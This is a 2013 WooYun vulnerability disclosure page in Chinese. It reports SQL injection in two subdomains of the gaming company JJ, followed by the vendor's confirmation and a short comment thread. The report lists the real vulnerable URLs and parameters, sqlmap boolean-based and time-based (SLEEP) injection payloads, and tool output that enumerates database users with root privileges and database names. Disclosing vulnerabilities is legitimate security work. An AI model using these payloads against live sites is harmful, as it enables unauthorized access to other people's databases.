当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044023

漏洞标题:竞技世界#2个分站存在SQL注射漏洞(root用户及管理员)

相关厂商:竞技世界(北京)网络技术有限公司

漏洞作者: Mr.leo

提交时间:2013-11-25 17:57

修复时间:2014-01-09 17:58

公开时间:2014-01-09 17:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-25: 细节已通知厂商并且等待厂商处理中
2013-11-25: 厂商已经确认,细节仅向厂商公开
2013-12-05: 细节向核心白帽子及相关领域专家公开
2013-12-15: 细节向普通白帽子公开
2013-12-25: 细节向实习白帽子公开
2014-01-09: 细节向公众公开

简要描述:

竞技世界#2个分站存在SQL注射漏洞(root用户及管理员)

详细说明:

站点1:
www.xyj.zy.jj.cn
id参数没有过滤,导致注射漏洞
http://www.xyj.zy.jj.cn/theme/detail?id=10005&tid=1
sqlmap跑起来
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=10005) AND 6626=6626 AND (3931=3931&tid=1
---
[11:58:43] [INFO] testing MySQL
[11:58:53] [INFO] confirming MySQL
[11:59:11] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[11:59:11] [INFO] fetching current user
[11:59:11] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[11:59:11] [INFO] retrieved: root@localhost
current user: 'root@localhost'
[12:15:15] [INFO] fetching current database
[12:15:15] [INFO] retrieved: modoer
current database: 'modoer'
[12:22:43] [INFO] fetching database names
[12:22:43] [INFO] fetching number of databases
[12:22:43] [INFO] retrieved: 5
[12:23:47] [INFO] retrieved: information_schema
[12:44:03] [INFO] retrieved: modoer
[12:51:32] [INFO] retrieved: mysql
[12:57:56] [INFO] retrieved: test
[13:03:17] [INFO] retrieved: zoyooo
当前用户是root

root.png


available databases [5]:
[*] information_schema
[*] modoer
[*] mysql
[*] test
[*] zoyooo
当前库有79张表

79.png


站点2:
http://star.jj.cn
pid参数没有过滤,导致注射漏洞
http://star.jj.cn/ajax/favorite.php?m=0.7818886050954461&pid=528afa68b068e5e434000833
sqlmap跑起来
Place: GET
Parameter: pid
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: m=0.7818886050954461&pid=528afa68b068e5e434000833' AND SLEEP(5) AND
'cwPF'='cwPF
---
[13:05:19] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.14
back-end DBMS: MySQL 5.0.11
[13:05:19] [INFO] fetching current user
[13:05:19] [INFO] retrieved:
[13:05:19] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
C
[13:07:11] [INFO] adjusting time delay to 3 seconds due to good response times
lubDbAd
[13:19:30] [ERROR] invalid character detected. retrying..
[13:19:30] [WARNING] increasing time delay to 4 seconds
min@%
current user: 'ClubDbAdmin@%'
[13:29:25] [INFO] fetching current database
[13:29:25] [INFO] retrieved: CommunityRelati
[13:56:58] [ERROR] invalid character detected. retrying..
[13:56:58] [WARNING] increasing time delay to 5 seconds
onSys
current database: 'CommunityRelationSys'
[14:07:41] [INFO] fetching database names
[14:07:41] [INFO] fetching number of databases
[14:07:41] [INFO] retrieved: 38
[14:10:41] [INFO] retrieved: informat
[14:27:29] [ERROR] invalid character detected. retrying..
[14:27:29] [WARNING] increasing time delay to 6 seconds
ion_schema
[14:48:33] [INFO] retrieved: AdminSys
[15:04:59] [INFO] retrieved: AttrS
[15:16:54] [ERROR] invalid character detected. retrying..
[15:16:54] [WARNING] increasing time delay to 7 seconds
ys
[15:22:17] [INFO] retrieved: BackupDat
[15:42:32] [ERROR] invalid character detected. retrying..
[15:42:32] [WARNING] increasing time delay to 8 seconds
[15:44:39] [ERROR] unable to properly validate last character value ('m')..
mb
[15:47:42] [ERROR] invalid character detected. retrying..
[15:47:42] [WARNING] increasing time delay to 4 seconds
[15:49:20] [ERROR] invalid character detected. retrying..
[15:49:20] [WARNING] increasing time delay to 5 seconds
ase
[15:55:33] [INFO] retrieved:
[15:57:07] [ERROR] invalid character detected. retrying..
[15:57:07] [WARNING] increasing time delay to 6 seconds
BugFree
[16:11:20] [INFO] retrieved: ClubDict
[16:28:43] [ERROR] invalid character detected. retrying..
[16:28:43] [WARNING] increasing time delay to 7 seconds
Sys
[16:36:01] [INFO] retrieved: ClubLogs
[16:54:06] [INFO] retrieved:
[16:55:48] [ERROR] invalid character detected. retrying..
[16:55:48] [WARNING] increasing time delay to 8 seconds
ClubSys
[17:12:05] [INFO] retrieved: Comm
当前用户是clubadmin

club.png


太慢了没跑完
----------------------------------------------------------------------
over

漏洞证明:

已经证明

修复方案:

过滤,第一次关注竞技世界,求RANK20,求礼物。

版权声明:转载请注明来源 Mr.leo@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2013-11-25 18:33

厂商回复:

谢谢提供,已提交给相关人员处理

最新状态:

暂无


漏洞评价:

评论

  1. 2013-11-25 18:06 | Mr.leo ( 普通白帽子 | Rank:1314 漏洞数:176 | 说点神马呢!!)

    @xsser @Finger @疯狗 求重新审核,里面有处贴成父母网的URL了。- -

  2. 2013-11-25 18:07 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @Mr.leo 可以编辑

  3. 2013-11-25 18:07 | Mr.leo ( 普通白帽子 | Rank:1314 漏洞数:176 | 说点神马呢!!)

    @xsser 编辑过了,需要重新审核吧?

  4. 2013-11-25 18:12 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗,任何自称Finger并...)

    @Mr.leo 没看到新编辑的啊

  5. 2013-11-26 10:54 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    都是来抢生意的

  6. 2013-11-27 10:03 | Mr.leo ( 普通白帽子 | Rank:1314 漏洞数:176 | 说点神马呢!!)

    @浩天 sorry - -